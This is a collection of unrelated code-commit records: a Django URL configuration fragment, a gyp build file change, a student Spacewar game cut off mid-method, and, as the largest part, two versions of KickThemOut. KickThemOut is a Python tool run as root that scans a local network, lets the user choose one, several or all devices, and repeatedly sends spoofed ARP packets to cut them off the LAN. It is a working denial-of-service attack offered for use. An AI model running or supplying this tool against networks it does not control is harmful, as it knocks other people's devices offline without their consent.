  (r'^{0}sync/'.format(DJANGO_BASE), include('metashare.sync.urls')),
)

urlpatterns += patterns('',
  (r'^{0}selectable/'.format(DJANGO_BASE), include('selectable.urls')),
)

sitemaps = {
  'site': RepositorySitemap,
}

urlpatterns += patterns('',
  (r'^{}sitemap\.xml$'.format(DJANGO_BASE), 'django.contrib.sitemaps.views.sitemap', {'sitemaps': sitemaps}),
)

if DJANGO_BASE == "":
    urlpatterns += patterns('',
      (r'^{}robots\.txt$'.format(DJANGO_BASE), direct_to_template,
        {'template': 'robots.txt', 'mimetype': 'text/plain', 'extra_context' : { 'sitemap_url' : SITEMAP_URL }}),
    )

if DEBUG:
    urlpatterns += patterns('',
      (r'^{0}site_media/(?P<path>.*)$'.format(DJANGO_BASE),
        'django.views.static.serve', {'document_root': MEDIA_ROOT})
    )
<|endoftext|>


<commit_before>{
  "includes": [
      "common.gypi"
  ],
  "targets": [
    {
      "target_name": "tests",
      "type": "executable",
      "sources": [
        "test/unit.cpp",
        "test/t/mutating_visitor.cpp",
        "test/t/optional.cpp",
        "test/t/variant.cpp"
      ],
      "xcode_settings": {
        "SDKROOT": "macosx",
        "SUPPORTED_PLATFORMS":["macosx"]
      },
      "include_dirs": [
          "./",
          "test/include"
      ]
    }
  ]
}
<commit_msg>Add missing test to gyp build.<commit_after>{
  "includes": [
      "common.gypi"
  ],
  "targets": [
    {
      "target_name": "tests",
      "type": "executable",
      "sources": [
        "test/unit.cpp",
        "test/t/mutating_visitor.cpp",
        "test/t/optional.cpp",
        "test/t/recursive_wrapper.cpp",
        "test/t/variant.cpp"
      ],
      "xcode_settings": {
        "SDKROOT": "macosx",
        "SUPPORTED_PLATFORMS":["macosx"]
      },
      "include_dirs": [
          "./",
          "test/include"
      ]
    }
  ]
}
<|endoftext|>


<commit_before>#!/usr/bin/env python
# -.- coding: utf-8 -.-
# kickthemout.py
# authors: k4m4 & xdavidhu

"""
Copyright (C) 2016 Nikolaos Kamarinakis (nikolaskam@gmail.com) & David Schütz (xdavid@protonmail.com)
See License at nikolaskama.me (https://nikolaskama.me/kickthemoutproject)
"""

import time, os, sys, logging, math
from time import sleep
import urllib2 as urllib
BLUE, RED, WHITE, YELLOW, MAGENTA, GREEN, END = '\33[94m', '\033[91m', '\33[97m', '\33[93m', '\033[1;35m', '\033[1;32m', '\033[0m'

notRoot = False
try:
    if os.geteuid() != 0:
        print("\n{0}ERROR: KickThemOut must run as root. Try again with sudo/root:\n\t{1}$ sudo python kickthemout.py{2}\n").format(RED, GREEN, END)
        notRoot = True
except:
    # User is probably on windows
    pass
if notRoot:
    raise SystemExit

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)  # Shut up scapy!
try:
    from scapy.all import *
    import scan, spoof
except:
    print("\n{0}ERROR: Requirements have not been properly satisfied. Please try running:\n\t{1}$ sudo pip install -r requirements.txt{2}").format(RED, GREEN, END)
    print("\n{0}If you still get the same error, please submit an issue here:\n\t{1}https://github.com/k4m4/kickthemout/issues\n{2}").format(RED, BLUE, END)
    raise SystemExit

def heading():
    sys.stdout.write(GREEN + """
    █  █▀ ▄█ ▄█▄    █  █▀    ▄▄▄▄▀  ▄  █ ▄███▄   █▀▄▀█  ████▄   ▄      ▄▄▄▄▀
    █▄█   ██ █▀ ▀▄  █▄█   ▀▀▀ █    █   █ █▀   ▀  █ █ █  █   █    █  ▀▀▀ █
    █▀▄   ██ █   ▀  █▀▄       █    ██▀▀█ ██▄▄    █ ▄ █  █   █ █   █     █
    █  █  ▐█ █▄  ▄▀ █  █     █     █   █ █▄   ▄▀ █   █  ▀████ █   █    █
     █    ▐ ▀███▀    █     ▀         █  ▀███▀      █         █▄ ▄█   ▀
     ▀               ▀               ▀             ▀           ▀▀▀
    """ + END + BLUE +
    '\n' + '{0}Kick Devices Off Your LAN ({1}KickThemOut{2}){3}'.format(YELLOW, RED, YELLOW, BLUE).center(98) +
    '\n' + 'Made With <3 by: {0}Nikolaos Kamarinakis ({1}k4m4{2}) & {0}David Schütz ({1}xdavidhu{2}){3}'.format(
        YELLOW, RED, YELLOW, BLUE).center(111) +
    '\n' + 'Version: {0}0.1{1}\n'.format(YELLOW, END).center(86))

def optionBanner():
    print('\nChoose option from menu:\n')
    sleep(0.2)
    print('\t{0}[{1}1{2}]{3} Kick ONE Off').format(YELLOW, RED, YELLOW, WHITE)
    sleep(0.2)
    print('\t{0}[{1}2{2}]{3} Kick SOME Off').format(YELLOW, RED, YELLOW, WHITE)
    sleep(0.2)
    print('\t{0}[{1}3{2}]{3} Kick ALL Off').format(YELLOW, RED, YELLOW, WHITE)
    sleep(0.2)
    print('\n\t{0}[{1}E{2}]{3} Exit KickThemOut\n').format(YELLOW, RED, YELLOW, WHITE)

def regenOnlineIPs():
    global onlineIPs
    global defaultGatewayMac
    onlineIPs = []
    for host in hostsList:
        onlineIPs.append(host[0])
        if host[0] == defaultGatewayIP:
            defaultGatewayMac = host[1]

def scanNetwork():
    global hostsList
    hostsList = scan.scanNetwork()
    regenOnlineIPs()

def kickoneoff():
    os.system("clear||cls")

    print("\n{0}kickONEOff{1} selected...{2}\n").format(RED, GREEN, END)
    scanNetwork()

    print("Online IPs: ")
    for i in range(len(onlineIPs)):
        mac = ""
        for host in hostsList:
            if host[0] == onlineIPs[i]:
                mac = host[1]
        vendor = resolveMac(mac)
        print("  [{0}" + str(i) + "{1}] {2}" + str(onlineIPs[i]) + "{3}\t"+ vendor + "{4}").format(YELLOW, WHITE, RED, GREEN, END)

    canBreak = False
    while not canBreak:
        try:
            choice = int(raw_input("\nChoose a target: "))
            one_target_ip = onlineIPs[choice]
            canBreak = True
        except KeyboardInterrupt:
            return
        except:
            print("\n{0}ERROR: Please enter a number from the list!{1}").format(RED, END)

    one_target_mac = ""
    for host in hostsList:
        if host[0] == one_target_ip:
            one_target_mac = host[1]
    if one_target_mac == "":
        print("\nIP address is not up. Please try again.")
        return

    print("\n{0}Target: {1}" + one_target_ip).format(GREEN, END)

    print("\n{0}Spoofing started... {1}").format(GREEN, END)
    try:
        while True:
            spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, one_target_ip, one_target_mac)
            time.sleep(10)
    except KeyboardInterrupt:
        print("\n{0}Re-arping{1} target...{2}").format(RED, GREEN, END)
        reArp = 1
        while reArp != 10:
            spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, one_target_ip, one_target_mac)
            reArp += 1
            time.sleep(0.5)
        print("{0}Re-arped{1} target successfully.{2}").format(RED, GREEN, END)

def kicksomeoff():
    os.system("clear||cls")

    print("\n{0}kickSOMEOff{1} selected...{2}\n").format(RED, GREEN, END)
    scanNetwork()

    print("Online IPs: ")
    for i in range(len(onlineIPs)):
        mac = ""
        for host in hostsList:
            if host[0] == onlineIPs[i]:
                mac = host[1]
        vendor = resolveMac(mac)
        print("  [{0}" + str(i) + "{1}] {2}" + str(onlineIPs[i]) + "{3}\t" + vendor + "{4}").format(YELLOW, WHITE, RED, GREEN, END)

    canBreak = False
    while not canBreak:
        try:
            choice = raw_input("\nChoose devices to target(comma-separated): ")
            if ',' in choice:
                some_targets = choice.split(",")
                canBreak = True
            else:
                print("\n{0}ERROR: Please select more than 1 devices from the list.{1}\n").format(RED, END)
        except KeyboardInterrupt:
            return

    some_ipList = ""
    for i in some_targets:
        try:
            some_ipList += GREEN + "'" + RED + onlineIPs[int(i)] + GREEN + "', "
        except KeyboardInterrupt:
            return
        except:
            print("\n{0}ERROR: '{1}" + i + "{2}' is not in the list.{3}\n").format(RED, GREEN, RED, END)
            return
    some_ipList = some_ipList[:-2] + END

    print("\n{0}Targets: {1}" + some_ipList).format(GREEN, END)

    print("\n{0}Spoofing started... {1}").format(GREEN, END)
    try:
        while True:
            for i in some_targets:
                ip = onlineIPs[int(i)]
                for host in hostsList:
                    if host[0] == ip:
                        spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1])
            time.sleep(10)
    except KeyboardInterrupt:
        print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END)
        reArp = 1
        while reArp != 10:
            for i in some_targets:
                ip = onlineIPs[int(i)]
                for host in hostsList:
                    if host[0] == ip:
                        spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1])
            reArp += 1
            time.sleep(0.5)
        print("{0}Re-arped{1} targets successfully.{2}").format(RED, GREEN, END)

def kickalloff():
    os.system("clear||cls")

    print("\n{0}kickALLOff{1} selected...{2}\n").format(RED, GREEN, END)
    scanNetwork()

    print("Online IPs: ")
    for i in range(len(onlineIPs)):
        mac = ""
        for host in hostsList:
            if host[0] == onlineIPs[i]:
                mac = host[1]
        vendor = resolveMac(mac)
        print(str("  {0}"+ str(onlineIPs[i]) + "{1}\t" + vendor + "{2}").format(RED, GREEN, END))

    print("\n{0}Spoofing started... {1}").format(GREEN, END)
    try:
        reScan = 0
        while True:
            for host in hostsList:
                if host[0] != defaultGatewayIP:
                    spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1])
            reScan += 1
            if reScan == 4:
                reScan = 0
                scanNetwork()
            time.sleep(10)
    except KeyboardInterrupt:
        print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END)
        reArp = 1
        while reArp != 10:
            for host in hostsList:
                if host[0] != defaultGatewayIP:
                    spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1])
            reArp += 1
            time.sleep(0.5)
        print("{0}Re-arped{1} targets successfully.{2}").format(RED, GREEN, END)

def getDefaultInterface():
    def long2net(arg):
        if (arg <= 0 or arg >= 0xFFFFFFFF):
            raise ValueError("illegal netmask value", hex(arg))
        return 32 - int(round(math.log(0xFFFFFFFF - arg, 2)))
    def to_CIDR_notation(bytes_network, bytes_netmask):
        network = scapy.utils.ltoa(bytes_network)
        netmask = long2net(bytes_netmask)
        net = "%s/%s" % (network, netmask)
        if netmask < 16:
            return None
        return net
    for network, netmask, _, interface, address in scapy.config.conf.route.routes:
        if network == 0 or interface == 'lo' or address == '127.0.0.1' or address == '0.0.0.0':
            continue
        if netmask <= 0 or netmask == 0xFFFFFFFF:
            continue
        net = to_CIDR_notation(network, netmask)
        if interface != scapy.config.conf.iface:
            continue
        if net:
            return interface

def getGatewayIP():
    try:
        getGateway_p = sr1(IP(dst="google.com", ttl=0) / ICMP() / "XXXXXXXXXXX", verbose=False)
        return getGateway_p.src
    except:
        print("\n{0}ERROR: Gateway IP could not be obtained. Please enter IP manually.{1}\n").format(RED, END)
        header = ('{0}kickthemout{1}> {2}Enter Gateway IP {3}(e.g. 192.168.1.1): '.format(BLUE, WHITE, RED, END))
        gatewayIP = raw_input(header)
        return gatewayIP

def getDefaultInterfaceMAC():
    try:
        defaultInterfaceMac = get_if_hwaddr(defaultInterface)
	return defaultInterfaceMac
    except:
        print("\n{0}ERROR: Default Interface MAC Address could not be obtained. Please enter MAC manually.{1}\n").format(RED, END)
        header = ('{0}kickthemout{1}> {2}Enter MAC Address {3}(MM:MM:MM:SS:SS:SS): '.format(BLUE, WHITE, RED, END))
        defaultInterfaceMac = raw_input(header)
	return defaultInterfaceMac

def resolveMac(mac):
    try:
        url = "http://macvendors.co/api/vendorname/"
        request = urllib.Request(url + mac, headers={'User-Agent': "API Browser"})
        response = urllib.urlopen(request)
        vendor = response.read()
        vendor = vendor.decode("utf-8")
        vendor = vendor[:25]
        return vendor
    except:
        return "N/A"

def main():

    heading()

    print(
        "\n{0}Using interface '{1}" + defaultInterface + "{2}' with mac address '{3}" + defaultInterfaceMac + "{4}'.\nGateway IP: '{5}"
        + defaultGatewayIP + "{6}' --> {7}" + str(len(hostsList)) + "{8} hosts are up.{9}").format(GREEN, RED, GREEN, RED, GREEN,
                                                                                RED, GREEN, RED, GREEN, END)

    if len(hostsList) == 0 or len(hostsList) == 1:
        if len(hostsList) == 1:
            if hostsList[0][0] == defaultGatewayIP:
                print("\n{0}{1}WARNING: There are {2}0{3} hosts up on you network except your gateway.\n\tYou can't kick anyone off {4}:/{5}\n").format(
                    GREEN, RED, GREEN, RED, GREEN, END)
                raise SystemExit
        else:
            print(
            "\n{0}{1}WARNING: There are {2}0{3} hosts up on you network.\n\tIt looks like something went wrong {4}:/{5}").format(
                GREEN, RED, GREEN, RED, GREEN, END)
            print(
            "\n{0}If you are experiencing this error multiple times, please submit an issue here:\n\t{1}https://github.com/k4m4/kickthemout/issues\n{2}").format(
                RED, BLUE, END)
            raise SystemExit

    try:

        while True:

            optionBanner()

            header = ('{0}kickthemout{1}> {2}'.format(BLUE, WHITE, END))
            choice = raw_input(header)

            if choice.upper() == 'E' or choice.upper() == 'EXIT':
                print('\n{0}Thanks for dropping by.'
                      '\nCatch ya later!{1}').format(GREEN, END)
                raise SystemExit
            elif choice == '1':
                kickoneoff()
            elif choice == '2':
                kicksomeoff()
            elif choice == '3':
                kickalloff()
            elif choice.upper() == 'CLEAR':
                os.system("clear||cls")
            else:
                print("\n{0}ERROR: Please select a valid option.{1}\n").format(RED, END)

    except KeyboardInterrupt:
        print('\n\n{0}Thanks for dropping by.'
              '\nCatch ya later!{1}').format(GREEN, END)

if __name__ == '__main__':

    defaultInterface = getDefaultInterface()
    defaultGatewayIP = getGatewayIP()
    defaultInterfaceMac = getDefaultInterfaceMAC()
    scanNetwork()

    main()
<commit_msg>getDefaultInterfaceMAC()<commit_after>#!/usr/bin/env python
# -.- coding: utf-8 -.-
# kickthemout.py
# authors: k4m4 & xdavidhu

"""
Copyright (C) 2016 Nikolaos Kamarinakis (nikolaskam@gmail.com) & David Schütz (xdavid@protonmail.com)
See License at nikolaskama.me (https://nikolaskama.me/kickthemoutproject)
"""

import time, os, sys, logging, math
from time import sleep
import urllib2 as urllib
BLUE, RED, WHITE, YELLOW, MAGENTA, GREEN, END = '\33[94m', '\033[91m', '\33[97m', '\33[93m', '\033[1;35m', '\033[1;32m', '\033[0m'

notRoot = False
try:
    if os.geteuid() != 0:
        print("\n{0}ERROR: KickThemOut must run as root. Try again with sudo/root:\n\t{1}$ sudo python kickthemout.py{2}\n").format(RED, GREEN, END)
        notRoot = True
except:
    # User is probably on windows
    pass
if notRoot:
    raise SystemExit

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)  # Shut up scapy!
try:
    from scapy.all import *
    import scan, spoof
except:
    print("\n{0}ERROR: Requirements have not been properly satisfied. Please try running:\n\t{1}$ sudo pip install -r requirements.txt{2}").format(RED, GREEN, END)
    print("\n{0}If you still get the same error, please submit an issue here:\n\t{1}https://github.com/k4m4/kickthemout/issues\n{2}").format(RED, BLUE, END)
    raise SystemExit

def heading():
    sys.stdout.write(GREEN + """
    █  █▀ ▄█ ▄█▄    █  █▀    ▄▄▄▄▀  ▄  █ ▄███▄   █▀▄▀█  ████▄   ▄      ▄▄▄▄▀
    █▄█   ██ █▀ ▀▄  █▄█   ▀▀▀ █    █   █ █▀   ▀  █ █ █  █   █    █  ▀▀▀ █
    █▀▄   ██ █   ▀  █▀▄       █    ██▀▀█ ██▄▄    █ ▄ █  █   █ █   █     █
    █  █  ▐█ █▄  ▄▀ █  █     █     █   █ █▄   ▄▀ █   █  ▀████ █   █    █
     █    ▐ ▀███▀    █     ▀         █  ▀███▀      █         █▄ ▄█   ▀
     ▀               ▀               ▀             ▀           ▀▀▀
    """ + END + BLUE +
    '\n' + '{0}Kick Devices Off Your LAN ({1}KickThemOut{2}){3}'.format(YELLOW, RED, YELLOW, BLUE).center(98) +
    '\n' + 'Made With <3 by: {0}Nikolaos Kamarinakis ({1}k4m4{2}) & {0}David Schütz ({1}xdavidhu{2}){3}'.format(
        YELLOW, RED, YELLOW, BLUE).center(111) +
    '\n' + 'Version: {0}0.1{1}\n'.format(YELLOW, END).center(86))

def optionBanner():
    print('\nChoose option from menu:\n')
    sleep(0.2)
    print('\t{0}[{1}1{2}]{3} Kick ONE Off').format(YELLOW, RED, YELLOW, WHITE)
    sleep(0.2)
    print('\t{0}[{1}2{2}]{3} Kick SOME Off').format(YELLOW, RED, YELLOW, WHITE)
    sleep(0.2)
    print('\t{0}[{1}3{2}]{3} Kick ALL Off').format(YELLOW, RED, YELLOW, WHITE)
    sleep(0.2)
    print('\n\t{0}[{1}E{2}]{3} Exit KickThemOut\n').format(YELLOW, RED, YELLOW, WHITE)

def regenOnlineIPs():
    global onlineIPs
    global defaultGatewayMac
    onlineIPs = []
    for host in hostsList:
        onlineIPs.append(host[0])
        if host[0] == defaultGatewayIP:
            defaultGatewayMac = host[1]

def scanNetwork():
    global hostsList
    hostsList = scan.scanNetwork()
    regenOnlineIPs()

def kickoneoff():
    os.system("clear||cls")

    print("\n{0}kickONEOff{1} selected...{2}\n").format(RED, GREEN, END)
    scanNetwork()

    print("Online IPs: ")
    for i in range(len(onlineIPs)):
        mac = ""
        for host in hostsList:
            if host[0] == onlineIPs[i]:
                mac = host[1]
        vendor = resolveMac(mac)
        print("  [{0}" + str(i) + "{1}] {2}" + str(onlineIPs[i]) + "{3}\t"+ vendor + "{4}").format(YELLOW, WHITE, RED, GREEN, END)

    canBreak = False
    while not canBreak:
        try:
            choice = int(raw_input("\nChoose a target: "))
            one_target_ip = onlineIPs[choice]
            canBreak = True
        except KeyboardInterrupt:
            return
        except:
            print("\n{0}ERROR: Please enter a number from the list!{1}").format(RED, END)

    one_target_mac = ""
    for host in hostsList:
        if host[0] == one_target_ip:
            one_target_mac = host[1]
    if one_target_mac == "":
        print("\nIP address is not up. Please try again.")
        return

    print("\n{0}Target: {1}" + one_target_ip).format(GREEN, END)

    print("\n{0}Spoofing started... {1}").format(GREEN, END)
    try:
        while True:
            spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, one_target_ip, one_target_mac)
            time.sleep(10)
    except KeyboardInterrupt:
        print("\n{0}Re-arping{1} target...{2}").format(RED, GREEN, END)
        reArp = 1
        while reArp != 10:
            spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, one_target_ip, one_target_mac)
            reArp += 1
            time.sleep(0.5)
        print("{0}Re-arped{1} target successfully.{2}").format(RED, GREEN, END)

def kicksomeoff():
    os.system("clear||cls")

    print("\n{0}kickSOMEOff{1} selected...{2}\n").format(RED, GREEN, END)
    scanNetwork()

    print("Online IPs: ")
    for i in range(len(onlineIPs)):
        mac = ""
        for host in hostsList:
            if host[0] == onlineIPs[i]:
                mac = host[1]
        vendor = resolveMac(mac)
        print("  [{0}" + str(i) + "{1}] {2}" + str(onlineIPs[i]) + "{3}\t" + vendor + "{4}").format(YELLOW, WHITE, RED, GREEN, END)

    canBreak = False
    while not canBreak:
        try:
            choice = raw_input("\nChoose devices to target(comma-separated): ")
            if ',' in choice:
                some_targets = choice.split(",")
                canBreak = True
            else:
                print("\n{0}ERROR: Please select more than 1 devices from the list.{1}\n").format(RED, END)
        except KeyboardInterrupt:
            return

    some_ipList = ""
    for i in some_targets:
        try:
            some_ipList += GREEN + "'" + RED + onlineIPs[int(i)] + GREEN + "', "
        except KeyboardInterrupt:
            return
        except:
            print("\n{0}ERROR: '{1}" + i + "{2}' is not in the list.{3}\n").format(RED, GREEN, RED, END)
            return
    some_ipList = some_ipList[:-2] + END

    print("\n{0}Targets: {1}" + some_ipList).format(GREEN, END)

    print("\n{0}Spoofing started... {1}").format(GREEN, END)
    try:
        while True:
            for i in some_targets:
                ip = onlineIPs[int(i)]
                for host in hostsList:
                    if host[0] == ip:
                        spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1])
            time.sleep(10)
    except KeyboardInterrupt:
        print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END)
        reArp = 1
        while reArp != 10:
            for i in some_targets:
                ip = onlineIPs[int(i)]
                for host in hostsList:
                    if host[0] == ip:
                        spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1])
            reArp += 1
            time.sleep(0.5)
        print("{0}Re-arped{1} targets successfully.{2}").format(RED, GREEN, END)

def kickalloff():
    os.system("clear||cls")

    print("\n{0}kickALLOff{1} selected...{2}\n").format(RED, GREEN, END)
    scanNetwork()

    print("Online IPs: ")
    for i in range(len(onlineIPs)):
        mac = ""
        for host in hostsList:
            if host[0] == onlineIPs[i]:
                mac = host[1]
        vendor = resolveMac(mac)
        print(str("  {0}"+ str(onlineIPs[i]) + "{1}\t" + vendor + "{2}").format(RED, GREEN, END))

    print("\n{0}Spoofing started... {1}").format(GREEN, END)
    try:
        reScan = 0
        while True:
            for host in hostsList:
                if host[0] != defaultGatewayIP:
                    spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1])
            reScan += 1
            if reScan == 4:
                reScan = 0
                scanNetwork()
            time.sleep(10)
    except KeyboardInterrupt:
        print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END)
        reArp = 1
        while reArp != 10:
            for host in hostsList:
                if host[0] != defaultGatewayIP:
                    spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1])
            reArp += 1
            time.sleep(0.5)
        print("{0}Re-arped{1} targets successfully.{2}").format(RED, GREEN, END)

def getDefaultInterface():
    def long2net(arg):
        if (arg <= 0 or arg >= 0xFFFFFFFF):
            raise ValueError("illegal netmask value", hex(arg))
        return 32 - int(round(math.log(0xFFFFFFFF - arg, 2)))
    def to_CIDR_notation(bytes_network, bytes_netmask):
        network = scapy.utils.ltoa(bytes_network)
        netmask = long2net(bytes_netmask)
        net = "%s/%s" % (network, netmask)
        if netmask < 16:
            return None
        return net
    for network, netmask, _, interface, address in scapy.config.conf.route.routes:
        if network == 0 or interface == 'lo' or address == '127.0.0.1' or address == '0.0.0.0':
            continue
        if netmask <= 0 or netmask == 0xFFFFFFFF:
            continue
        net = to_CIDR_notation(network, netmask)
        if interface != scapy.config.conf.iface:
            continue
        if net:
            return interface

def getGatewayIP():
    try:
        getGateway_p = sr1(IP(dst="google.com", ttl=0) / ICMP() / "XXXXXXXXXXX", verbose=False)
        return getGateway_p.src
    except:
        print("\n{0}ERROR: Gateway IP could not be obtained. Please enter IP manually.{1}\n").format(RED, END)
        header = ('{0}kickthemout{1}> {2}Enter Gateway IP {3}(e.g. 192.168.1.1): '.format(BLUE, WHITE, RED, END))
        gatewayIP = raw_input(header)
        return gatewayIP

def getDefaultInterfaceMAC():
    getDefaultInterfaceMACManually = False
    try:
        defaultInterfaceMac = get_if_hwaddr(defaultInterface)

        if defaultInterfaceMac == "" or not defaultInterfaceMac:
            getDefaultInterfaceMACManually = True
        else:
            return defaultInterfaceMac
    except:
        getDefaultInterfaceMACManually = True

    if getDefaultInterfaceMACManually:
        print("\n{0}{1}ERROR: Your Default Interface's ({2}" + defaultInterface + "{3}) MAC Address could not be obtained.\n\tPlease enter it manually.{4}\n").format(GREEN, RED, GREEN, RED, END)
        header = ("{0}kickthemout{1}> {2}{3}{4}'s MAC Address {5}(MM:MM:MM:SS:SS:SS): ".format(BLUE, WHITE, GREEN, defaultInterface, RED, END))
        try:
            defaultInterfaceMac = raw_input(header)
            return defaultInterfaceMac
        except KeyboardInterrupt:
            print('\n\n{0}Thanks for dropping by.'
                  '\nCatch ya later!{1}').format(GREEN, END)
            raise SystemExit

def resolveMac(mac):
    try:
        url = "http://macvendors.co/api/vendorname/"
        request = urllib.Request(url + mac, headers={'User-Agent': "API Browser"})
        response = urllib.urlopen(request)
        vendor = response.read()
        vendor = vendor.decode("utf-8")
        vendor = vendor[:25]
        return vendor
    except:
        return "N/A"

def main():

    heading()

    print(
        "\n{0}Using interface '{1}" + defaultInterface + "{2}' with mac address '{3}" + defaultInterfaceMac + "{4}'.\nGateway IP: '{5}"
        + defaultGatewayIP + "{6}' --> {7}" + str(len(hostsList)) + "{8} hosts are up.{9}").format(GREEN, RED, GREEN, RED, GREEN,
                                                                                RED, GREEN, RED, GREEN, END)

    if len(hostsList) == 0 or len(hostsList) == 1:
        if len(hostsList) == 1:
            if hostsList[0][0] == defaultGatewayIP:
                print("\n{0}{1}WARNING: There are {2}0{3} hosts up on you network except your gateway.\n\tYou can't kick anyone off {4}:/{5}\n").format(
                    GREEN, RED, GREEN, RED, GREEN, END)
                raise SystemExit
        else:
            print(
            "\n{0}{1}WARNING: There are {2}0{3} hosts up on you network.\n\tIt looks like something went wrong {4}:/{5}").format(
                GREEN, RED, GREEN, RED, GREEN, END)
            print(
            "\n{0}If you are experiencing this error multiple times, please submit an issue here:\n\t{1}https://github.com/k4m4/kickthemout/issues\n{2}").format(
                RED, BLUE, END)
            raise SystemExit

    try:

        while True:

            optionBanner()

            header = ('{0}kickthemout{1}> {2}'.format(BLUE, WHITE, END))
            choice = raw_input(header)

            if choice.upper() == 'E' or choice.upper() == 'EXIT':
                print('\n{0}Thanks for dropping by.'
                      '\nCatch ya later!{1}').format(GREEN, END)
                raise SystemExit
            elif choice == '1':
                kickoneoff()
            elif choice == '2':
                kicksomeoff()
            elif choice == '3':
                kickalloff()
            elif choice.upper() == 'CLEAR':
                os.system("clear||cls")
            else:
                print("\n{0}ERROR: Please select a valid option.{1}\n").format(RED, END)

    except KeyboardInterrupt:
        print('\n\n{0}Thanks for dropping by.'
              '\nCatch ya later!{1}').format(GREEN, END)

if __name__ == '__main__':

    defaultInterface = getDefaultInterface()
    defaultGatewayIP = getGatewayIP()
    defaultInterfaceMac = getDefaultInterfaceMAC()
    scanNetwork()

    main()
<|endoftext|>


<commit_before>"""
spaceshooter.py
Author: David Wilson
Credit: Mr. Dennison ("Space War Source Code" and "Advanced Graphics with Classes")

Assignment:
Write and submit a program that implements the spacewar game:
https://github.com/HHS-IntroProgramming/Spacewar
"""

from ggame import App, Sprite, ImageAsset, Frame
import random

SCREEN_WIDTH = 1000
SCREEN_HEIGHT = 600

class StarBack(Sprite):

    asset = ImageAsset("images/starfield.jpg", Frame(0,0,SCREEN_WIDTH/2,SCREEN_HEIGHT/2))

    def __init__(self, position):
        super().__init__(StarBack.asset, position)
        self.scale = 2
'''
class Asteroid(Sprite):

    asset =

    def __init__(self, position):
        super().__init__(Asteroid.asset, position)
'''

class SpaceShip(Sprite):

    asset = ImageAsset("images/four_spaceship_by_albertov_with_thrust.png",
        Frame(227,0,292-227,125), 4, 'vertical')

    def __init__(self, position):
        super().__init__(SpaceShip.asset, position)
        self.rotSpd = 0.1
        self.fxcenter = self.fycenter = 0.5
        self.thrust = 0
        self.thrustframe = 0
        SpaceGame.listenKeyEvent("keydown", "right arrow", self.rotateRight)
        SpaceGame.listenKeyEvent("keydown", "left arrow", self.rotateLeft)
        SpaceGame.listenKeyEvent("keydown", "up arrow", self.thrustOn)
        SpaceGame.listenKeyEvent("keyup", "up arrow", self.thrustOff)
        SpaceGame.listenKeyEvent("keydown", "space", self.shoot)

    def rotateRight(self, event):
        self.rotation -= self.rotSpd

    def rotateLeft(self, event):
        self.rotation += self.rotSpd

    def thrustOn(self, event):
        self.thrust = 1

    def thrustOff(self, event):
        self.thrust = 0

    def shoot(self, event):
        Bullet((100,100))

    def step(self):
        if self.thrust == 1:
            if self.thrustframe == 3:
                self.thrustframe = 1
            else:
                self.thrustframe += 1
            self.setImage(self.thrustframe)
        else:
            self.setImage(0)

class Bullet(Sprite):

    asset = ImageAsset("images/blast.png", Frame(0,0,8,8))

    def __init__(self, position):
        super().__init__(Bullet.asset, position)
        self.fxcenter = self.fycenter = 0.5
        self.velx = 5
        self.vely = 5

    def step(self):
        if 0 <= self.x <= SCREEN_WIDTH and 0 <= self.y <= SCREEN_HEIGHT:
            self.x += self.velx
            self.y += self.vely

class SpaceGame(App):

    def __init__(self):
        super().__init__()
        StarBack((0,0))
        SpaceShip((100,100))

    def step(self):
        for x in self.getSpritesbyClass(SpaceShip):
            x.step()
        for x in self.getSpritesbyClass(Bullet):
            x.step()

myapp = SpaceGame()
myapp.run()
<commit_msg>Updated from Brython Server: 3/7/2016 2:55:31 PM<commit_after>"""
spaceshooter.py
Author: David Wilson
Credit: Mr. Dennison ("Space War Source Code" and "Advanced Graphics with Classes")

Assignment:
Write and submit a program that implements the spacewar game:
https://github.com/HHS-IntroProgramming/Spacewar
"""

from ggame import App, Sprite, ImageAsset, Frame
import random

SCREEN_WIDTH = 1000
SCREEN_HEIGHT = 600

class StarBack(Sprite):

    asset = ImageAsset("images/starfield.jpg", Frame(0,0,SCREEN_WIDTH/2,SCREEN_HEIGHT/2))

    def __init__(self, position):
        super().__init__(StarBack.asset, position)
        self.scale = 2
'''
class Asteroid(Sprite):

    asset =

    def __init__(self, position):
        super().__init__(Asteroid.asset, position)
'''

class SpaceShip(Sprite):

    asset = ImageAsset("images/four_spaceship_by_albertov_with_thrust.png",
        Frame(227,0,292-227,125), 4, 'vertical')

    def __init__(self, position):
        super().__init__(SpaceShip.asset, position)
        self.rotSpd = 0.1
        self.fxcenter = self.fycenter = 0.5
        self.thrust = 0
        self.thrustframe = 0
        SpaceGame.listenKeyEvent("keydown", "right arrow", self.rotateRight)
        SpaceGame.listenKeyEvent("keydown", "left arrow", self.rotateLeft)
        SpaceGame.listenKeyEvent("keydown", "up arrow", self.thrustOn)
        SpaceGame.listenKeyEvent("keyup", "up arrow", self.thrustOff)
        SpaceGame.listenKeyEvent("keydown", "space", self.shoot)

    def rotateRight(self, event):
        self.rotation -= self.rotSpd

    def rotateLeft(self, event):
        self.rotation += self.rotSpd

    def thrustOn(self, event):
        self.thrust = 1

    def thrustOff(self, event):
        self.thrust = 0

    def shoot(self, event):
        Bullet((100,100))

    def step(self):
        if self.thrust == 1:
            if self.thrustframe == 3:
                self.thrustframe = 1
            else:
                self.thrustframe += 1
            self.setImage(self.thrustframe)
        else:
            self.setImage(0)

class Bullet(Sprite):

    asset = ImageAsset("images/blast.png", Frame(0,0,8,8))

    def __init__(self, position):
        super().__init__(Bullet.asset, position)
        self.fxcenter = self.fycenter = 0.5
        self.velx = 5
        self.vely = 5

    def step(self):
